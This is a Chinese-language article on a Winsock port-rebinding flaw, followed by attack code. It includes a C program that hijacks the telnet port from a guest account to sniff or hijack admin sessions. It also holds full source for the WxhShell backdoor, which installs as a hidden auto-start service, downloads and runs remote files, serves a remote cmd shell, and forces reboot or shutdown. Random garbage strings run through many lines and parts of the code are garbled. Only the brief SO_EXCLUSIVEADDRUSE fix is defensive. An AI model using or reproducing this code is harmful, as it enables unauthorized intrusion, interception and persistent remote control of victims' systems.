在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H
>RGX#| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{6~W2zX& {gJOc,U4b saddr.sin_family = AF_INET;
ny#7iz/ ;Yi ;2ttW saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8(ZQD+U(9F tv?~LJYN bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
??k^Rw+0R oW-luC+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"--rz;+K Ar>-xCTD 这意味着什么?意味着可以进行如下的攻击:
6 Iup4sP hmks\eb~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
M34*$>bk Z EG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u<):gI k8w8I$QEM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Iy"
y\ouIsI77 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
TG'A'wXxy ;Ni+TS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b`1P%OjC h v9s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
lPx4I UP#]n
69y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dGZVWEaPfx xH*OEzN #include
%vMi
kibI #include
]2tX'=X #include
*-gS u #include
8_W<BXW DWORD WINAPI ClientThread(LPVOID lpParam);
Z!tt(y\ int main()
rjfQ\W;}U {
x@Q}sW92 WORD wVersionRequested;
qc@CV: DWORD ret;
5.idC-\ WSADATA wsaData;
E@t^IGDr BOOL val;
+\Rp N SOCKADDR_IN saddr;
27gK
Y
Zf; SOCKADDR_IN scaddr;
+|\dVe. int err;
*p +%&z_< SOCKET s;
skr^m%W SOCKET sc;
670g|&v. int caddsize;
Pgb<;c:4 HANDLE mt;
1P&c:n DWORD tid;
R$NH [Tz wVersionRequested = MAKEWORD( 2, 2 );
QIGMP=!j err = WSAStartup( wVersionRequested, &wsaData );
z]~B@9l if ( err != 0 ) {
YpXUYNy printf("error!WSAStartup failed!\n");
(l9U7^S"{K return -1;
]"aC
wr }
L;>tuJY1 saddr.sin_family = AF_INET;
oE)tK1>;H YI&7s_%
- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fXO"Mr1 4RJ8 2yq- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
X+Xjf( saddr.sin_port = htons(23);
pX|\J>u) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6i, d| {
0l{').!_ printf("error!socket failed!\n");
7w YSP&$ return -1;
j2g#t }
}h EBX:- val = TRUE;
V/<dHOfR\ //SO_REUSEADDR选项就是可以实现端口重绑定的
j[9xF<I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IZniRd; {
=]&R6P> printf("error!setsockopt failed!\n");
J7_'@zU return -1;
3,W2CN} }
Peh(*D{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$0NWX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
hAKyT~[n0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,~%Qu~\ -7hU1j~I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7DXT1+t {
I3p ~pt2 ret=GetLastError();
@C7#xGD printf("error!bind failed!\n");
,NPU0IDG> return -1;
2r<UYB }
K4snpuhC listen(s,2);
GAEz
:n while(1)
vNHMe{,u {
_~fO8_vr caddsize = sizeof(scaddr);
"pQM$3n( //接受连接请求
I
Yj\t?,0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
WUMx:a0! if(sc!=INVALID_SOCKET)
&YDb/{|CIC {
D9+a"2|3< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'&'?
S if(mt==NULL)
a| {
{HlUV33O printf("Thread Creat Failed!\n");
bvk+i?{H break;
TdG[b1xN
}
u7<B*d: }
E&jngxlN CloseHandle(mt);
mRxL%! }
hQ#'_%:
closesocket(s);
k-Le)8+b WSACleanup();
) yRC$7I return 0;
t-3wjS1v }
?9
m3y0 DWORD WINAPI ClientThread(LPVOID lpParam)
Y+F$]!hw {
GL9R
5 SOCKET ss = (SOCKET)lpParam;
(+q?xwl!N SOCKET sc;
o#4Wn'E unsigned char buf[4096];
VEd\* SOCKADDR_IN saddr;
i=#r JK= long num;
u,*$n'l] DWORD val;
\/. Of]YQ DWORD ret;
4cTJ$" v //如果是隐藏端口应用的话,可以在此处加一些判断
0`3ey* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&W)ks saddr.sin_family = AF_INET;
J<V}g v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*<OWd'LI saddr.sin_port = htons(23);
w[n|Sauy, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3T|:1Nw {
gjk=`lU printf("error!socket failed!\n");
#}^ZxEU return -1;
gh['T, }
K&Ht37T val = 100;
9L*gxI> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,iB)8Km@U {
[="moh2*f
ret = GetLastError();
)U`H7\*) return -1;
kS[k*bN0 }
pzCD'
!* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uZW
? 0W {
|Gzd|$%Oq ret = GetLastError();
|bVNlL"xN return -1;
nZ$,Bjb }
iEsI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U3&*,xeU@H {
I^qk` 5w printf("error!socket connect failed!\n");
/1gKc}rB2 closesocket(sc);
o.Mb~8Yu closesocket(ss);
ec)G~?FH return -1;
I,l%6oPa }
\4bma<~a while(1)
iShB^ {
0/#XUX 4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6jO*rseC //如果是嗅探内容的话,可以再此处进行内容分析和记录
d&n0:xOc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+[zrU`!@ num = recv(ss,buf,4096,0);
#Z"N\49 if(num>0)
@R9 send(sc,buf,num,0);
ACU0 else if(num==0)
`Btdp:j8i break;
e-]k{_wm num = recv(sc,buf,4096,0);
(b GiBsb if(num>0)
.1t$(]CyC send(ss,buf,num,0);
Sr,ZM1J else if(num==0)
M+ ^]j break;
pr>K#@^ }
6<(HT#=# closesocket(ss);
.[+8D= closesocket(sc);
mRW(]OFIai return 0 ;
GLv}|>W }
{MO`0n;
rt [f:>tRdH qF%wl ==========================================================
}V ;PaX +`yDW N?7 下边附上一个代码,,WXhSHELL
"k"q)5c _g0
qpa ==========================================================
Ni"fV]' W7O%.xP #include "stdafx.h"
#:"\6s \I/l6H>o3 #include <stdio.h>
`g6ZhG:W #include <string.h>
H]mY 6D51" #include <windows.h>
A&Ut:OiA #include <winsock2.h>
'4L
i #include <winsvc.h>
WvAl!^{` #include <urlmon.h>
RIC'JLWQ &dbX>u q #pragma comment (lib, "Ws2_32.lib")
6(ju!pE` #pragma comment (lib, "urlmon.lib")
/7h}_zs6 n'ZlIh #define MAX_USER 100 // 最大客户端连接数
tZk@ RX #define BUF_SOCK 200 // sock buffer
(=)+as"u9* #define KEY_BUFF 255 // 输入 buffer
O8[dPmW Oa$ew' #define REBOOT 0 // 重启
IgLP=mqcWK #define SHUTDOWN 1 // 关机
gA`/t e A:cc @ku #define DEF_PORT 5000 // 监听端口
IgptiZ7~! Wa2V Z #define REG_LEN 16 // 注册表键长度
w44{~[0d4 #define SVC_LEN 80 // NT服务名长度
kD >|e<}\ SdnqM`uFo // 从dll定义API
aS'G&(_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
DJr 8<u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"P&|e|7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1k-^LdDj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
nm*1JA.: 7V 2% // wxhshell配置信息
6i9m!YQV struct WSCFG {
=uKK{\+|Y int ws_port; // 监听端口
RRV@nDf char ws_passstr[REG_LEN]; // 口令
ZZ] /9oiF% int ws_autoins; // 安装标记, 1=yes 0=no
E$F)z char ws_regname[REG_LEN]; // 注册表键名
bpzB}nEp char ws_svcname[REG_LEN]; // 服务名
$O%lYQY] char ws_svcdisp[SVC_LEN]; // 服务显示名
B5=L</Aj char ws_svcdesc[SVC_LEN]; // 服务描述信息
29,`2fFr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v\n!Li H int ws_downexe; // 下载执行标记, 1=yes 0=no
zOg#=ql char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M\enjB7k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ky#<\K1}' 3543[W#a };
{pd%I <*8nv.PX* // default Wxhshell configuration
%vxd($Ti" struct WSCFG wscfg={DEF_PORT,
1Q#hanh_` "xuhuanlingzhe",
?9Fv0-g&n 1,
9P{5bG0o8 "Wxhshell",
l1gAm # "Wxhshell",
FT[wa-b "WxhShell Service",
U5dJ=G "Wrsky Windows CmdShell Service",
)n5]+VTZ5 "Please Input Your Password: ",
N95"dNZE 1,
dK|MQ < "
http://www.wrsky.com/wxhshell.exe",
[0m'a\YE9 "Wxhshell.exe"
o:f=dBmoX };
7M3q|7? }1:jM_H)k // 消息定义模块
}x~|XbG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<!5N=- char *msg_ws_prompt="\n\r? for help\n\r#>";
!+U#^2Gz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
jcXb@FE6 char *msg_ws_ext="\n\rExit.";
L7X._XBO[ char *msg_ws_end="\n\rQuit.";
TcauCL char *msg_ws_boot="\n\rReboot...";
UF D_ char *msg_ws_poff="\n\rShutdown...";
;=_<\2 char *msg_ws_down="\n\rSave to ";
y;;^o6Gnw w{I60|C]* char *msg_ws_err="\n\rErr!";
" &p\pR~ char *msg_ws_ok="\n\rOK!";
i*.Z~$ L L9I:^ char ExeFile[MAX_PATH];
{Y`0} int nUser = 0;
rya4sxCh HANDLE handles[MAX_USER];
M}(4>W int OsIsNt;
QTcngv[ R?Iv<(I SERVICE_STATUS serviceStatus;
$v-lG( SERVICE_STATUS_HANDLE hServiceStatusHandle;
&fiDmUxj |I)MsNF // 函数声明
a9FlzR int Install(void);
[GU!],Y int Uninstall(void);
b.8HGt<% int DownloadFile(char *sURL, SOCKET wsh);
hL67g int Boot(int flag);
ZS^EKz~ + void HideProc(void);
?uk|x!Ko] int GetOsVer(void);
V
[[B~Rs int Wxhshell(SOCKET wsl);
v*FCE 1HI void TalkWithClient(void *cs);
:bLGDEC int CmdShell(SOCKET sock);
Da?0B9' int StartFromService(void);
k(u W( 6 int StartWxhshell(LPSTR lpCmdLine);
Y($"i<rN /e4hB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Qy0bp;V/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
!%T@DT=l& ZSKk*<= // 数据结构和表定义
&|/C*2A SERVICE_TABLE_ENTRY DispatchTable[] =
IL YS:c58= {
T{?!sB3 {wscfg.ws_svcname, NTServiceMain},
:_)Xe*O {NULL, NULL}
zT!JHG };
dH#o11[ 8QFY:.h& // 自我安装
P1T LH2) int Install(void)
`\e@O#,^yI {
3zs~Y3M?i char svExeFile[MAX_PATH];
0Zk A.p HKEY key;
< g6
[mS strcpy(svExeFile,ExeFile);
$sGX%u :S~XE // 如果是win9x系统,修改注册表设为自启动
@HIC i] if(!OsIsNt) {
N@tzYD|hA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/vsQ <t;~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J*a`qU
RegCloseKey(key);
M={k4r_t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<:RU, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NFmB ^@k RegCloseKey(key);
]=@>;yP) return 0;
0sV;TQt+f }
XImb"7| }
xQWZk`6~L }
`4\ H'p else {
z Lf^O%zN oE-i`;\8 // 如果是NT以上系统,安装为系统服务
!Aj_r^[X` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,lL0'$k~ if (schSCManager!=0)
%S$P+B? {
/SlCcozFL~ SC_HANDLE schService = CreateService
IF5+&O (
{^MR^4&}( schSCManager,
Rjm5{aa- wscfg.ws_svcname,
',J3^h!b wscfg.ws_svcdisp,
(8=Zr0He SERVICE_ALL_ACCESS,
;<ed1%Le, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oVc_(NH- SERVICE_AUTO_START,
L.+5`& SERVICE_ERROR_NORMAL,
X@| svExeFile,
ro^Y$;G NULL,
bG2!5m4L NULL,
?=Ma7 y NULL,
"b-6kM NULL,
R:^GNra; NULL
b4oZ@gVR; );
F
=d L#@^ if (schService!=0)
1eiH%{w {
!{Y$5)Xh`] CloseServiceHandle(schService);
|_!xA/_U'T CloseServiceHandle(schSCManager);
"}Ya. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
h r* KDT^! strcat(svExeFile,wscfg.ws_svcname);
e:NzpzI"v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
XXxX;xz$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9-}&znLZe RegCloseKey(key);
15Yy&9D return 0;
s-
g[B( }
H'Z[3e }
jr~76 CloseServiceHandle(schSCManager);
!C#q }
8h;1(S)*Z }
{%UY1n (_U&EX% return 1;
N
@]*E }
`9b D%M <(s+ // 自我卸载
s{<rc> int Uninstall(void)
MEq
()}7P {
1wGd5>GDA HKEY key;
NZdQz {PYN3\N, if(!OsIsNt) {
%<I0-o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4y%N(^ RegDeleteValue(key,wscfg.ws_regname);
mxP{"6 RegCloseKey(key);
vV"TTzs! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2 B5kpmH: RegDeleteValue(key,wscfg.ws_regname);
@f{)]I +f RegCloseKey(key);
[4t_ 83 return 0;
KWN0$*4 }
"+saI@G }
"6Ly?'HK }
$\m=-5 0- else {
Ha4?I$'$ Hdj0! bUx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Hsx`P if (schSCManager!=0)
+,c;Dff {
1T!_d&A1o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D[;6xJ if (schService!=0)
n'%*vdHKm {
o(|`atvK if(DeleteService(schService)!=0) {
3vVhE,1N CloseServiceHandle(schService);
F
N(&3Ull CloseServiceHandle(schSCManager);
%)\Cwl return 0;
DRf~l9f }
p5G O@^i CloseServiceHandle(schService);
4?72TBl] }
bF?EuL CloseServiceHandle(schSCManager);
m!E36ce} }
]#S.L' }
\p [!@d^ _RY<-B
return 1;
'2:Ily,S@ }
oBKZ$&_h 49HtI9@ // 从指定url下载文件
URJ" int DownloadFile(char *sURL, SOCKET wsh)
"wexG]R=5 {
|K/#2y~ HRESULT hr;
P|_?{1eO2 char seps[]= "/";
;?h#',(p char *token;
U{eC^yjt"o char *file;
bKG:_mWe w char myURL[MAX_PATH];
~g>15b3 char myFILE[MAX_PATH];
Tff7SEP hMhD(X strcpy(myURL,sURL);
YM+}Mmu token=strtok(myURL,seps);
YN"102CK while(token!=NULL)
2/?pI/W {
_lyP7$[:
c file=token;
%aL>n=$ token=strtok(NULL,seps);
vAwFPqu }
hiU_r="*ox Ldt7?Y(V( GetCurrentDirectory(MAX_PATH,myFILE);
J6NQ5S\ strcat(myFILE, "\\");
>i@gR strcat(myFILE, file);
k 2;m"F send(wsh,myFILE,strlen(myFILE),0);
A 7DdU NR send(wsh,"...",3,0);
e0>@Yp[Kd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z0`? if(hr==S_OK)
Pgye{{ return 0;
;@v7AF6Hq else
owYfrf3ZLX return 1;
>Z<ym|(T* |mY<TWoX }
8*6J\FE<p bis/Nfr] // 系统电源模块
7b@EvW6X} int Boot(int flag)
3S'V>: {
R%3H"FU9w HANDLE hToken;
|W*f6F3 TOKEN_PRIVILEGES tkp;
!!Mp;h'}- #8nF8J<4 if(OsIsNt) {
9OT2yCT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
glk
I9~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Zb);08X tkp.PrivilegeCount = 1;
i&.F}bEi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4B (*{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K%Q^2"Eb0 if(flag==REBOOT) {
Mt@K01MI% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&sx/qS#,VL return 0;
{
H9pF2C }
CAcnH else {
n (cSfT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
\2eYw.I= return 0;
pc-'+7Dh> }
<| Z0|sel }
,EwJg69 else {
-cq ~\m^6 if(flag==REBOOT) {
Of([z!'Gc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ie4*#N_ return 0;
uz'beE }
|W:kzTT-T else {
'*-X3p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
b;!ilBc return 0;
S$muV9z2= }
mpr["C"l }
:GL|: \O7,CxD2 return 1;
-@^SiI:C }
R+!2 j #Kn7
xn[ // win9x进程隐藏模块
bmT J void HideProc(void)
mO> [kb"V' {
IwWo-WN7. Wuc,Cjm9(! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]*zF#Voc if ( hKernel != NULL )
7M*+!al9 {
YWq[)F@0G pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`4;<\VYCr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O]{H2&k@ FreeLibrary(hKernel);
X8;03EW; }
unD8h=Z2 \I'A:~b)L return;
#+ n
& }
Hyee#fB 1egryp // 获取操作系统版本
-P'>~W,~ int GetOsVer(void)
39~fP) {
]]d@jj OSVERSIONINFO winfo;
{'r(P& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JmN;v|wF:c GetVersionEx(&winfo);
k"Sw,"e>+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#"7:NR^H^ return 1;
C:
e}}8i else
xn}'!S2-b return 0;
CB?.|)Xam }
4S"K%2'O 2sittP // 客户端句柄模块
DO(
/,A<{8 int Wxhshell(SOCKET wsl)
B8a!"AQ~5 {
2M1yw " SOCKET wsh;
deu+ i struct sockaddr_in client;
=4Ex'
%%(U DWORD myID;
:B=`^>RK fJ\Ys;l[j while(nUser<MAX_USER)
}T(|\
X {
70KXBu<6
int nSize=sizeof(client);
hj4A&`2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9lA YCsX if(wsh==INVALID_SOCKET) return 1;
?hDEFW9&^x Ud{-H_m+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k5}i^^. if(handles[nUser]==0)
dc lJ closesocket(wsh);
Bwll
[=_I else
uVisU%p nUser++;
%FyB\IQ }
f#X`e'1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
mX |AptND ]7xAL7x return 0;
wz6e^ g }
[N7[%iQ% AvV.faa // 关闭 socket
&+sO"j4<?r void CloseIt(SOCKET wsh)
@)}Vk {
2'pxA: closesocket(wsh);
0s<o5`v nUser--;
\LM'KD pP_ ExitThread(0);
4>5%SzZT\3 }
-,5g cD K5w22L^=+ // 客户端请求句柄
%LVk%kz void TalkWithClient(void *cs)
v3]q2*`G# {
E176O[(V= d3n TJ X SOCKET wsh=(SOCKET)cs;
xX"?3%y> char pwd[SVC_LEN];
Tmw
:w~ char cmd[KEY_BUFF];
.s2d char chr[1];
^5;Y int i,j;
u\t ; C($`'~b while (nUser < MAX_USER) {
wbr"z7} .3HC*E.e if(wscfg.ws_passstr) {
y>~KeUC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/6S/a*`<X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n+!.0d}6
//ZeroMemory(pwd,KEY_BUFF);
Box,N5AA i=0;
9Z+@i:_} while(i<SVC_LEN) {
m9PcDhv Js=|r;' // 设置超时
;G},xDGO_m fd_set FdRead;
p.l]%\QI struct timeval TimeOut;
wh~~g
qi9 FD_ZERO(&FdRead);
m?M(79u[ FD_SET(wsh,&FdRead);
|]m&LC TimeOut.tv_sec=8;
(bBetX TimeOut.tv_usec=0;
Y<0f1N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*dK A/.g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
j,G/[V YJ75dXc&& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ueWG/`ig pwd
=chr[0]; @*2FG\c<
if(chr[0]==0xd || chr[0]==0xa) { =6+BBD
pwd=0; G:@gO2(D
break; sV77WF
} 2r*
o
i++; -Xd/-,zPY
} qc`_&!*D
kYR&t}jlCg
// 如果是非法用户,关闭 socket j+c)%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r/{VL3}F_e
} )8Q|y
-D(UbkPw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @9c^{x\4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]gmf%g'C
e=F'
O]
5
while(1) { !-;Me&"I=`
MRJ dQCBV
ZeroMemory(cmd,KEY_BUFF); %{Ls$Y)
G! 87F/
// 自动支持客户端 telnet标准 NGxii$F
j=0; #
=322bnO
while(j<KEY_BUFF) { e3Lf'+G\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,-{j.
cmd[j]=chr[0]; UW>~C
if(chr[0]==0xa || chr[0]==0xd) { [I^SKvM
cmd[j]=0; 1-qQp.Wj
break; m_]"L
} z_Qw's
j++; -m+2l`DLy
} c?opVbJB\
GUcuD^Fe
// 下载文件 o 86}NqK
if(strstr(cmd,"http://")) { (JM4W
"7'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `i.f4]r
if(DownloadFile(cmd,wsh)) fIBLJ53
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D<rjxP
else g^]Q*EBa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x/4lD}Pw]
} -J[D:P.Z
else { #~#_)\l'F
;bA9(:?
switch(cmd[0]) { $h$+EE!
c/hml4
// 帮助
:zZtZT!
case '?': { ~ib#x~Db
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pw$I~3OFd
break; 7C 4Njei"
} <&x_e-;b'
// 安装 wIY#TBu
case 'i': { DL~LSh
if(Install()) r1=Zoxc=w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jf%Ydr}`
else iF
67
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wo_FM
`@
break; F`ihw[
Wn
} `V?{
// 卸载 J,q:
case 'r': { ~\oJrRYR`
if(Uninstall()) <<A@69"4n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2vOI8
else Bf-&[ 5N}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T2Vj&EA@
break; 4+W}TKw
} .Ftml' !
// 显示 wxhshell 所在路径 |Jq/kmn
case 'p': { Dnp^yqz*
char svExeFile[MAX_PATH]; ;wN.RPE_^
strcpy(svExeFile,"\n\r"); zO+nEsf^O
strcat(svExeFile,ExeFile); <<`."RY#0
send(wsh,svExeFile,strlen(svExeFile),0); " 7aFVf
break; |FNP~5v
} HK-?<$Yc
// 重启 |4'E&(BU-
case 'b': { z^oi15D|{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2?"9NQvz
if(Boot(REBOOT)) 2
Sr'B;`p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QHQj6]
else { 97BL%_^k
closesocket(wsh);
AI)9E=D%
ExitThread(0); QK@z##U
} =uvv|@Z
break; D!-zQ`^
} Cr[#D$::`
// 关机 w"sRK
case 'd': { hyBSS,I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Fke(?X'
if(Boot(SHUTDOWN)) S\f^y8*<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C
qxP@
else { ~f@;.
closesocket(wsh); ,fNiZ
ExitThread(0); `Yut1N
} Lr+2L_/v`
break; MKH7d/x
} X%gJ,c(4
// 获取shell dk.da&P
case 's': { Jne)?Gt
CmdShell(wsh); )GR^V=o7,Y
closesocket(wsh); a;lCr|*
ExitThread(0); C
:e 'wmA
break; S=my;M-
}
s$]I@;_
// 退出 )8vcg{b{d
case 'x': { c8yD-U/-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %bv<OMD
CloseIt(wsh); PC3wzJ\\S
break; .f6_[cS;g
} `t8e2?GH
// 离开 NeWssSje
case 'q': { $4L=Dg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); GY4yZa
closesocket(wsh); Ig6s'^
WSACleanup(); H)4Rs~;{'g
exit(1); 5H',Bm4-
break; WUxr@0
} cJty4m-
} g_}@/5?y
} 1.>`h:
hqE#BnQxP,
// 提示信息 lF#Kg!-l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7/~"\nN:/
} LyQO_mT2
} &"CS1P|
uD5i5,q1Hs
return; M0]fh5O
} 5G2u(hx
wbpxJtJB
// shell模块句柄 |l~ADEg
int CmdShell(SOCKET sock) N1SR nJu<f
{ Xau.4&\d
STARTUPINFO si; . XY'l
ZeroMemory(&si,sizeof(si)); Wd%j;glG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Isi,Tl ^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NR3IeTd
PROCESS_INFORMATION ProcessInfo; 'Kq%tM26!
char cmdline[]="cmd"; %8v?dB;>x`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yNqrL?i
return 0; VMNihx0FJ
} U_!6pqFc
FPu,sz8
// 自身启动模式 0h5T&U]${Y
int StartFromService(void) jKtbGVZ7r
{ ]v+\v re
typedef struct 8'f:7KF
{ Xl}>mbB
DWORD ExitStatus; KI#hII[Q.
DWORD PebBaseAddress; N (43+
DWORD AffinityMask; .<tb*6rX>
DWORD BasePriority; -m-~
ULONG UniqueProcessId; /|>z7#?m^
ULONG InheritedFromUniqueProcessId; ('>!dXA$
